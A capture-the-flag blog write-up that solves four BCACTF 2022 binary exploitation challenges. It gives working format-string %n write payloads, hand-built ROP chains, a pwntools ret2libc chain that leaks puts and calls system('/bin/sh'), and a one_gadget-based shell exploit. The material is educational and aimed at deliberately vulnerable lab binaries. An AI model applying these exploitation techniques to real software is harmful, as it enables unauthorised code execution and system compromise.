BCACTF 2022 Pwn Writeups - The Hard Ones

Continued from part 1 - the easy ones

Format Fortune #

Let’s gooo format strings. First, to test whether it was a basic memory leak, I input %s%s%s%s%s%s into there, resulting in nothing. I also input repeated %p, which prints the hex content of the memory address, decoded the hex (cyberchef ftw), and got nothing. I also tried enumeration using %<num>$s and that got nowhere.

python -c 'from pwn import *; import sy  
s; write = sys.stdout.buffer.write; write(b"%p"*60 + b"\n")' | ./format-fortune     
Welcome to my casino! You look like you want to throw your life savings away...  
Don't tell anyone, but around here, the house ALWAYS wins.  
Give it a try! But first, what's your name?  
Well, good luck, 0x7ffd96dccfe0(nil)0x7f5dc5501f970x1(nil)0x70257025702570250x70257025702570250x702570  
25702570250x70257025702570250x70257025702570250x70257025702570250x250x2baea833cad1a1000x10x7f5dc542929  
00x4000400x40127f0x1000000000x7ffd96dcf2580x7ffd96dcf2580x230f4ecb10dd8826(nil)0x7ffd96dcf268(nil)Test  
ing your luck... please wait  
  
I warned you! No flag today.

So, it’s probably memory modification using %n. Let’s get into static reversing. Is the binary stripped (function names and similar debug info removed)?

$ file format-fortune    
format-fortune: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /  
lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a2162ce627b72b56316f43d8a1c5e5ee9d6119b8, for GNU/Linux 3.2.  
0, not stripped

not stripped. Nice. Let’s fire up ghidra to decompile.

fgets(local_48,0x32,stdin);
printf("Well, good luck, ");
printf(local_48);
sleep(1);
puts("Testing your luck... please wait");
sleep(2);
if (magic == 0xbeef) {
  puts("\nI\'m impressed! You\'ve won a flag");
  printflag();
}
else {
  puts("\nI warned you! No flag today.");
}

So, we need to use the printf on line 3 to set the variable magic to 0xbeef.

Using readelf again, we see that magic is at 0x40408c, and 0xbeef = 48879.

That means the goal is to print 0xbeef (48879) chars, which can be easily done using %48879s (which will print the string at the first argument right justified to fit 0xbeef characters). Then we will use %n. Basically, %n writes the number of characters that have been written at this point in the format string, to a location in memory specified by the argument. By writing %48879s, we can print 0xbeef characters and then use %n to write 0xbeef to memory.

So, I got stuck for a while finding what argument number x, specified by %x$n, would contain a pointer to magic. Using gdb, I found, there is no pointer to magic on the stack whatsoever. Well then how am I supposed to overwrite magic 🤷.

I looked through some of my old solves of similar problems and realized that when the input is long enough, and the stack is set up right, you can use printf argument specifiers to access the very string you enter. This means, you can get a pointer to any arbitrary address in memory. Basically, anything after the first 6 arguments to printf are stored on the stack, so if you use for example %8$x, you could be printing contents of stuff that you have entered as hex. Or, with %8$n, writing to an address you specify.

So, I sent the following to binary using sys.stdout.buffer.write.

b"%9$lx " + b"A"*18 +p64(0x0040408c) + b"\n"

That returns the following, and the hex shows that 1. my custom bytes were read in right, 2. I can access it with format specifiers.

Well, good luck, 40408c AAAAAAAAAAAAAAAAAA�@@Testing you  

Then, I make minor adjustments to make it print the right number of characters and apply %n. payload:

b"%9$48879lx%9$n" + b"A"*10 +p64(0x0040408c) + b"\n

This is printing 48879 (0xbeef) useless characters, the ‘A’s serve as padding to line up the pointer to magic with the 9th value (%9), and then there’s the pointer. Running that against remote, I get

I'm impressed! You've won a flag  
bcactf{wh0_ev3n_c4me_up_w1tH_%n_38e84f}  
[karmanyaahm@karmanyaahsArch]: ~/CTF/bca22/pwn/formatfortune>$

🎉

ROP Jump #

I immediately check whether the binary is stripped and pull up ghidra now that we’re in that territory.

void ropjump(void)

{
  char local_78 [112];
  
  puts("\nBetter start jumping!");
  gets(local_78);
  jumps = jumps + 1.0;
  puts("Woo, that was quite the workout wasn\'t it!");
  return;
}

void b(void)
{
  char local_78 [104];
  FILE *local_10;
  
  if ((jumps < 2.0) && (1.0 < jumps)) {
    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      puts("\nLooks like we\'ve run out of jump ropes...");
      puts("Challenge is misconfigured. Please contact admin if you see this.");
    }
    else {
      printf((char *)(double)jumps,
             "Wow, how did you manage to jump %.2f times. Guess we might need to return those jump r opes...\n"
            );
      fgets(local_78,100,local_10);
      puts(local_78);
    }
  }
  return;
}
  if ((jumps < 2.0) && (1.0 < jumps)) {

So, to get the flag, we need to jump to b, but also set jumps to a value between 1 and 2. The value of jumps is stored in a 4 byte float. We increment jumps by 1 the first time ropjump is called to read in our overflowed input.

So, I played around with integer -> float memory representations a bit in gdb. So, a memory value of 0x3f800000 is equal to 1.0 when parsed as a float, 0x40000000 is 2.0.

p/f 0x3f800000  
$9 = 1
p/x (float)(1.0 + 1.0)  
$14 = 0x40000000
p/f 0x40000000-0x1  
$16 = 1.99999988

So all I need to do is call ropjump twice (set to 2) and then decrement that buffer by one (int) to get a 1.9999 something float. That sounds easy, let’s just look for the right gadgets…
.
.
. . right. not easy. There aren’t any gadgets performing (inc or dec)s on xmm (float) registers in a way that’s convenient to use here. I’m not going to describe my whole convoluted though process here, but after many hours of iterations and trial and error, I ended up with the following:

Using readelf -s, we know that jumps is stored at 0x40408c.

ls = [  
	0x00000000004013aa, # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;    
	0x40408c - 0x5d, # rbx = jumps # + 3 might not be, todo, find small byte  
	# no +3  
	0,0,0,0,0, # rbp, r12, r13, r14, r15  
	
	0x00000000004013b3, 0, # single pop for stack alignment  
	0x00000000004013b3, 0, # single pop for stack alignment  
	
	0x00000000004013a9, # or byte ptr [rbx + 0x5d], bl; pop r12; pop r13; pop r14; pop r15; ret;    
	0,0,0,0, # r12,13,14,15  
	
	0x00000000004011d6+4 -4, #b function  
]

The important part here is

pop rbx
0x40408c - 0x5d
or byte ptr [rbx + 0x5d], bl

The register bl in x86_64, is the lowest 8 bits of rbx. So here, it’s set to 0x8c. Basically, this leads to jumps = jumps | 0x8c. Since the lowest bits of jumps are 0 (remember the value of jumps is 0x3f800000), this is setting it to 0x3f80008c. That’s 1.00001669 (nice), and satisfies our between 1 and 2 constraint.

I send this using

p += b''.join([p64(l) for l in ls])  
   # good luck pwning :)  
r.sendline(p)

I then ran into a segfault in the middle of printf on xmm0, and realized it’s the well known stack alignment error where you just need to add a few nop gadgets to align the stack so printf is executed with a stack pointer that is a multiple of 16. Just one nop; ret gadget did it here.

ls = [
	0x00000000004013aa, # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;    
	0x40408c - 0x5d, # rbx = jumps # + 3 might not be, todo, find small byte  
	# no +3  
	0,0,0,0,0, # rbp, r12, r13, r14, r15  
	
	0x00000000004013b3, 0, # single pop for stack alignment  
	0x00000000004013b3, 0, # single pop for stack alignment  
	0x000000000040114f, #nop for alignment Plzzzz  
	
	0x00000000004013a9, # or byte ptr [rbx + 0x5d], bl; pop r12; pop r13; pop r14; pop r15; ret;    
	0,0,0,0, # r12,13,14,15  
	
	0x00000000004011d6+4 -4, #b function  
]
bcactf{l34rn_t0_jump_then2_r0P_28e12f}

Got libc? #

This one was not very exciting, there was some debugging, but largely the ROP library of pwntools took care of everything.

r.recvuntil(b'?\n')
offset = b'A' * 40
rop = ROP(exe)
rop.call("puts", [exe.got['puts']])
rop.call(exe.symbols["main"])
r.sendline(offset + rop.chain())

I call puts on the address of puts, this will give me the address of puts.

rc = r.recvuntil(b'\x7f')  
print(rc.hex())  
puts = u64(rc.ljust(8, b'\0'))  
print('puts at', hex(puts))  
libc.address = puts - libc.symbols["puts"]  
print('libc at', hex(libc.address))

I parse the address of puts, and since I know the relative distance from the start of libc to puts (using the supplied libc file), I can find the relative distance to any other value in libc.

bin_sh = next(libc.search(b"/bin/sh\0"))  
rop = ROP(libc)  
rop.raw(p64(rop.ret.address)) # offset for stack align rop.ret is a simple 'ret' gadget  
rop.call(libc.symbols['system'], [bin_sh])  
rop.call(exe.symbols["main"])  
r.sendline(offset + rop.chain())  
r.interactive()

I search for an occurrence of the string /bin/sh in libc, and then call the system function on that. That launches /bin/sh on the server, and i can interact with it.

$ cat flag.txt
bcactf{ll1bC_h3ights_47d6f3e}

pwnf #

Luckily the binary is still not stripped, Ghidra time…

bool echo(void)
{
  size_t sVar1;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(local_38,0x1a,stdin);
  sVar1 = strlen(local_38);
  if (1 < sVar1) {
    sleep(1);
    printf(local_38);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 1 >= sVar1;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Observations:

  1. Proper canary AND no overflow from fgets
  2. raw printf

The name pwnf did after all indicate it’s a printf based bug. Anyways, I won’t bore you with all the details of me banging my head against the wall that is attempting to overwrite the GOT/PLT (not realizing the binary is Full RELRO).

In the end, I built a solution that uses techniques very similar to Format Fortune to modify arbitrary values. Since the echo function is called indefinitely in a loop here, I can repeatedly execute commands (i.e. modify memory using %n) without any return-oriented confusion.

I abstracted away the memory modification into a function, modifying a $hn - which, as man 3 printf conveniently reminds me is 2 bytes. I chose hn intervals, because printf printing 65kbytes (2 ^ 16 bits) isn’t too bad, and it’s better than hhn, 1 byte (2 ^ 8 bits) because it requires fewer executions of the printf loop.

def modit(val, argnum, where):  
     payload = f'%{val}c'.encode() if val > 0 else b''  
     payload += f'%{argnum}$hn'.encode()  
     payload += 'i'.encode() * (16-len(payload))  
     payload += p64(where)  
     return payload  

def get_val(r, n):  
    r.recv(timeout=1)  
    r.sendline(f'%{n}$lx'.encode())  
    return int(r.recvuntil(b'\n',timeout=2).strip(), 16)
  
def set8bytes(target, where):  
    print(f"ok so the things i'm writing 0x{hex(target)[2:]} in 4 pieces")  
    return modit((target >> 0) &0xffff , 8, where) + b'\n' + modit((target >> 16) &0xffff, 8, where + 2) + b'\n' + modit((target >> 32) &0xffff, 8, where + 4) + b'\n' + modit((target >> 48) &0xffff, 8, where + 6)

modit does the core modification, get_val is used to extract memory addresses, and set8bytes is just a convinient way to set a whole 8 byte (remember 64 bit) memory location (8 bytes is the size of pointers in 64 bit architectures).

After that, I use a fixed return pointer on the stack to leak the value of main (therefore telling me where every function and variable in the binary is). Similar techniques are used to find libc and the location of the return pointer in the stack. (ignore the somewhat misleading variable names, also I didn’t need all these, but I didn’t know that till later)

r.sendline(b'%13$p')  
r.recvuntil(b'0x')  
leekmain = int(r.recvuntil(b'\n').strip(), 16)
exe.address = leekmain - exe.symbols['main']

r.sendline(b'%9$p')  
r.recvuntil(b'0x')  
leekrippos = int(r.recvuntil(b'\n').strip(), 16)  
rip = leekrippos + 8

r.sendline(b'%15$p')  
r.recvuntil(b'0x', timeout=2)  
print(aa:=r.recvuntil(b'\n',timeout=1))  
leeklibc = int(aa.strip(), 16)  
libc.address = leeklibc - (libc.symbols['__libc_start_main'] + 243) #+ 0x7f6db384ba40 - 0x7f6db3857710

After that, I used ROP techniques to set some registers, and one_gadget to find an exploit path (one_gadget uses a really fascinating set of techniques that I can’t explain here to find one ROP path calling system(/bin/sh) or equivalent).

$ one_gadget libc.so.6
0xe6c7e execve("/bin/sh", r15, r12)  
constraints:  
  [r15] == NULL || r15 == NULL  
  [r12] == NULL || r12 == NULL  
  
0xe6c81 execve("/bin/sh", r15, rdx)  
constraints:  
  [r15] == NULL || r15 == NULL  
  [rdx] == NULL || rdx == NULL  
  
0xe6c84 execve("/bin/sh", rsi, rdx)  
constraints:  
  [rsi] == NULL || rsi == NULL  
  [rdx] == NULL || rdx == NULL  
# this one needs r15 and rdx to be null, r15 is already  
target = 0xe6c81 + libc.address # 0xe6c7e or 0xe6c81 or 0xe6c84  

POP_RDX_RBX = 0x0000000000162866 + libc.address  
r.sendline(set8bytes(POP_RDX_RBX,rip))  
r.sendline(set8bytes(0,rip + 8))  
r.sendline(set8bytes(0,rip + 16))  
r.sendline(set8bytes(target,rip + 24))  
r.sendline() # to return out of main loop

I set rdx to 0 (r15 already is), and then call the one_gadget in this simple rop chain.

And there, I have a shell. a cat flag.txt yields

bcactf{pUtT1nG_1t_4LL_t0G3thr_65a3e0}

(I didn’t solve Notetake WASM during the competition, and I don’t think I am capable of doing it justice with a writeup )


And that’s all the pwn challenges in bcactf 2022! In the end, we were 4th (won $75 + $250 in DigitalOcean credits) in the high school division and scored 6675 out of 9125 total points. I certainly polished a lot of my pwn and rev techniques, thanks to BCA folks!

Comments

comments loading...